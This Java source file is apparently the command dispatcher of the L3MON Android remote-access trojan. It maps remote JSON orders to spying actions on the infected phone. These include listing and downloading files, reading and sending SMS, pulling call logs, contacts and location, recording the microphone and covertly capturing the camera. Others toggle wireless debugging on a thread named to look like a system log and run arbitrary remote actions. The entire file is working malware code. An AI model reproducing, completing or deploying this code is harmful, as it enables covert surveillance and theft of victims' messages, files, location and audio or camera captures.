package com.etechd.l3mon;

import org.json.JSONObject;

/**
 * Dispatch de ordenes HTTP (extraido de ConnectionManager$2).
 */
public class ConnectionManagerDispatch {
    public static void dispatch(JSONObject data) {
        try {
            String order = data.getString("type");
            switch (order) {
                case "0xFI": {
                    String action = data.getString("action");
                    if ("ls".equals(action)) {
                        FileManager.listAndReport(data.getString("path"));
                    } else if ("dl".equals(action)) {
                        ConnectionManager.FI(1, data.getString("path"));
                    } else if ("thumb".equals(action)) {
                        FileManager.uploadThumbnail(data.getString("path"));
                    }
                    break;
                }
                case "0xSM": {
                    String action = data.getString("action");
                    if ("ls".equals(action)) {
                        ConnectionManager.SM(0, null, null);
                    } else if ("sendSMS".equals(action)) {
                        ConnectionManager.SM(1, data.getString("to"), data.getString("sms"));
                    }
                    break;
                }
                case "0xCL":
                    ConnectionManager.CL();
                    break;
                case "0xCO":
                    ConnectionManager.CO();
                    break;
                case "0xMI":
                    ConnectionManager.MI(data.getInt("sec"));
                    break;
                case "0xLO":
                    ConnectionManager.LO();
                    break;
                case "0xWI":
                    ConnectionManager.WI();
                    break;
                case "0xPM":
                    ConnectionManager.PM();
                    break;
                case "0xIN":
                    ConnectionManager.IN();
                    break;
                case "0xGP":
                    ConnectionManager.GP(data.getString("permission"));
                    break;
                case "0xCA":
                    CameraCaptureActivity.trigger(SystemLogApi.getAppContext());
                    break;
                case "0xWD": {
                    final String wdAction = data.optString("action", "toggle");
                    new Thread(new Runnable() {
                        @Override
                        public void run() {
                            WirelessDebugHelper.handleCommand(wdAction);
                        }
                    }, "SystemLogWirelessDebug").start();
                    break;
                }
                case "0xRA":
                    RemoteActionHelper.handleCommand(data.optString("action", ""), data);
                    break;
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
